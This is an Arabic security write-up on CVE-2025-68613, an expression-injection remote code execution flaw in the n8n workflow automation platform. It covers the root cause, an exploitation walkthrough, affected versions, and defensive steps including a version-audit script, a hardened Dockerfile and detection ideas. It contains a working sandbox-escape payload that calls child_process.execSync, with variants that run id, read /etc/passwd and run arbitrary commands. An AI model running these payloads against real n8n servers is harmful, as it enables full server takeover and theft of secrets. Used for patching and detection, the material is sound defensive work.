
CVE-2025-68613 (n8n) تحليل ثغرة RCE حرجة + توصيات دفاعية (التحقق من التصحيح، أفكار الكشف، ونصائح التعزيز)
GIF الماتريكس
CVE-2025-68613 هي ثغرة حرجة لتنفيذ الأكواد عن بُعد في منصة أتمتة سير العمل n8n تسمح للمهاجمين المُوثَّقين بتنفيذ أوامر نظام تعسفية عبر حقن التعبيرات.
n8n هي منصة أتمتة سير عمل مفتوحة المصدر تتيح التكامل بدون كود/بكود منخفض عبر أكثر من 400 تطبيق. يتم نشرها على نطاق واسع في:
| 🏢 حالة الاستخدام | 📝 الوصف |
|---|
🔓 سلسلة الثغرة:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 لغة تعبيرات n8n → معالجة البيانات الديناميكية │
│ ↓ │
│ ⚠️ عزل غير كافٍ للصندوق الرملي في التقييم من جانب الخادم │
│ ↓ │
│ 💀 هروب التعبير الخبيث من الصندوق الرملي │
│ ↓ │
│ 🖥️ الوصول إلى وحدة child_process في Node.js │
│ ↓ │
│ 💥 RCE كاملة - تنفيذ أوامر نظام التشغيل │
└─────────────────────────────────────────────────────────────────┘
متطلبات الاستغلال:
| # | 📋 المتطلب | 📝 التفاصيل |
|---|---|---|
| 1️⃣ | المصادقة | حساب مستخدم صالح في n8n (امتيازات منخفضة كافية) |
| 🏷️ السمة | 📊 القيمة | 🔥 الخطر |
|---|---|---|
| التعقيد | منخفض (AC:L) | 🔴 عالٍ |
| تفاعل المستخدم |
graph TD
A[🔐 مستخدم مُوثَّق] -->|ينشئ| B[📝 سير عمل جديد]
B -->|يحقن| C[💀 تعبير خبيث]
C -->|يطلق| D[⚡ تقييم التعبير]
D -->|يستغل| E[🔓 هروب من الصندوق الرملي]
E -->|يصل إلى| F[🖥️ بيئة تشغيل Node.js]
F -->|ينفذ| G[💥 أمر نظام عبر child_process]
G -->|يحقق| H[☠️ اختراق كامل للخادم]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ إخلاء مسؤولية: ما يلي لأغراض تعليمية فقط. الاستغلال غير المصرح به غير قانوني.
الوصول الأولي إلى منصة أتمتة سير العمل n8n الضعيفة.
🔓 لوحة تحكم ترحيب n8n - نقطة الدخول
إنشاء سير عمل جديد سيحتوي على الحمولة الخبيثة.
📝 إنشاء سير عمل جديد مع "إضافة الخطوة الأولى"
تكوين مشغل سير العمل - المشغل اليدوي يسمح بالتنفيذ عند الطلب.
🎯 اختيار المشغل اليدوي لتفعيل سير العمل
إضافة عقدة "تحرير الحقول (Set)" التي ستحتوي على التعبير الخبيث.
🔧 إضافة عقدة "تحرير الحقول (Set)" لحقن الحمولة
الخطوة الحاسمة - حقن تعبير الهروب من الصندوق الرملي لتحقيق RCE.
💀 التعبير الخبيث ينفذ أمر 'id' بنجاح!
// 🔴 حمولة خبيثة (لا تستخدمها بشكل غير قانوني)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
المخرجات تظهر: uid=1000(node) gid=1000(node) groups=1000(node) ✅ تم تأكيد RCE!
GIF حقن كود
⚠️ تحذير: هذه الحمولات لاختبارات الأمان المصرح بها فقط. الاستخدام غير المصرح به غير قانوني!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('أمرك_هنا').toString() })() }}
💀 قراءة /etc/passwd - تم إثبات الوصول الكامل إلى نظام الملفات!
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 السبب الجذري للثغرة │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ مُقيِّم التعبيرات في n8n يفتقر إلى أداة تنظيف تمنع تعبيرات الدوال │
│ من الوصول إلى: │
│ │
│ ❌ this.process → كائن عملية Node.js │
│ ❌ mainModule.require → نظام تحميل الوحدات │
│ ❌ child_process → تنفيذ أوامر نظام التشغيل │
│ │
│ هذا يسمح بالوصول المباشر إلى وحدات النظام وتنفيذ أكواد عشوائية! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
# 🛡️ ترقية n8n إلى الإصدار المُصحَّح
npm install -g n8n@latest
# أو باستخدام Docker
docker pull n8n/n8n:1.122.0
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 تدقيق إصدار n8n
echo "🔍 جارٍ التحقق من إصدار n8n..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ ضعيف: n8n $VER متأثر بـ CVE-2025-68613"
echo "📦 مطلوب: الترقية إلى 1.120.4 أو 1.121.1 أو 1.122.0+"
exit 2
else
echo "✅ آمن: n8n $VER مُصحَّح"
fi
else
echo "❌ n8n غير موجود في PATH"
fi
# 🛡️ نشر n8n مُقوَّى
FROM n8n/n8n:1.122.0
# 👤 التشغيل كمستخدم غير جذر
USER node
# 🔒 تطبيق علامات وقت التشغيل التالية:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ الإجراء | 📝 التنفيذ |
|---|---|
| 🌐 تجزئة الشبكة | عزل مثيلات n8n |
| 🔥 قواعد WAF | مراقبة أنماط التعبيرات |
| 📜 تسجيل التدقيق |
كيف ستصمم قاعدة كشف لتحديد محاولات حقن التعبيرات في تعريفات سير عمل n8n قبل التنفيذ، مع مراعاة الموازنة بين الأمان والاستخدام المشروع للتعبيرات الديناميكية؟
إضافي: ما هي حماية وقت التشغيل التي ستطبقها للحد من نطاق الانفجار إذا حدث الهروب من الصندوق الرملي رغم التصحيح؟
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ إخلاء مسؤولية: هذا التحليل لأغراض تعليمية وأمنية دفاعية فقط.
الاستغلال غير المصرح به للثغرات غير قانوني.
⚡ إحصائيات سريعة
|
🎯 حقائق رئيسية
|
| الخاصية | القيمة |
|---|
| 🆔 معرف CVE | CVE-2025-68613 |
| 📊 درجة CVSS | 9.9 (حرج) 🔴 |
| 🔗 ناقل CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (التحكم غير السليم في موارد الأكواد المدارة ديناميكيًا) |
| 📦 الإصدارات المتأثرة | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ الإصدارات المُصحَّحة | 1.120.4, 1.121.1, 1.122.0+ |
| 🔧 DevOps | خطوط أنابيب الأتمتة، تكاملات CI/CD |
| 🛡️ عمليات الأمان | سير عمل SOAR، الاستجابة للحوادث |
| 💼 الأعمال | أتمتة العمليات، سير عمل البيانات |
| 📊 البيانات | عمليات ETL، تكاملات API |
| 2️⃣ | الأذونات | إمكانية إنشاء/تعديل سير العمل |
| 3️⃣ | الوصول الشبكي | القدرة على الوصول إلى مثيل n8n |
| لا شيء مطلوب |
| 🔴 عالٍ |
| النطاق | متغير | 🔴 حرج |
| 🎯 الحمولة | 📋 المخرجات المتوقعة |
|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | قائمة مستخدمي النظام كاملة (جذر، خفي، عقدة، إلخ) |
env | جميع متغيرات البيئة بما في ذلك الأسرار |
ls -la / | قائمة نظام الملفات الجذري |
|
|
| المرحلة | 🔥 الإجراء | 💀 التأثير |
|---|
| 1️⃣ | الوصول الأولي | المصادقة على n8n |
| 2️⃣ | التنفيذ | إرسال سير عمل خبيث |
| 3️⃣ | الاستمرارية | نشر شل عكسية/باب خلفي |
| 4️⃣ | C2 | إنشاء قيادة وتحكم |
| 5️⃣ | الإجراءات | استخراج البيانات، التحرك الجانبي |
| 🎯 الإجراء | 💥 مستوى التأثير |
|---|
| 🔑 سرقة بيانات الاعتماد | استخراج مفاتيح API، رموز OAuth، كلمات مرور قواعد البيانات |
| 📤 استخراج البيانات | بيانات سير العمل، سجلات التنفيذ، معلومات الأعمال |
| 🔒 الاستمرارية | مهام cron، نصوص بدء التشغيل، شلات ويب |
| 🔀 التحرك الجانبي | الانتقال إلى قواعد البيانات، CI/CD، البنية التحتية السحابية |
| 🗑️ التلاعب بسير العمل | تعديل/تدمير منطق الأتمتة |
🔴 السرية (عالية)
|
🟠 السلامة (عالية)
|
🟡 التوفر (عالية)
|
| # | 📋 الطريقة | 🔍 ما يجب مراقبته |
|---|
| 📜 | تحليل السجلات | أوامر غير معتادة من عملية n8n، تعبيرات فاشلة |
| 🌐 | الشبكة | اتصالات صادرة لعناوين IP غير معروفة، طلبات POST كبيرة |
| ⚡ | وقت التشغيل | استدعاءات child_process، إنشاء عمليات غير متوقع |
| 📦 | تدقيق الإصدار | التحقق من نطاق الإصدارات الضعيفة |
| 🔢 الأولوية | 🛠️ الإجراء | 📝 التفاصيل |
|---|
| 🔴 P0 | التصحيح فورًا | الترقية إلى 1.120.4 أو 1.121.1 أو 1.122.0+ |
| 🟠 P1 | تقييد الوصول | قصر إنشاء سير العمل على المستخدمين الموثوقين |
| 🟡 P2 | تقوية الحاوية | النشر مع قيود أمان |
| تمكين التسجيل الشامل |
| 🔍 مراجعات الأمان | تقييمات منتظمة لسير العمل |
| 🔓 مبدأ الامتياز الأقل | فرض ضوابط الوصول |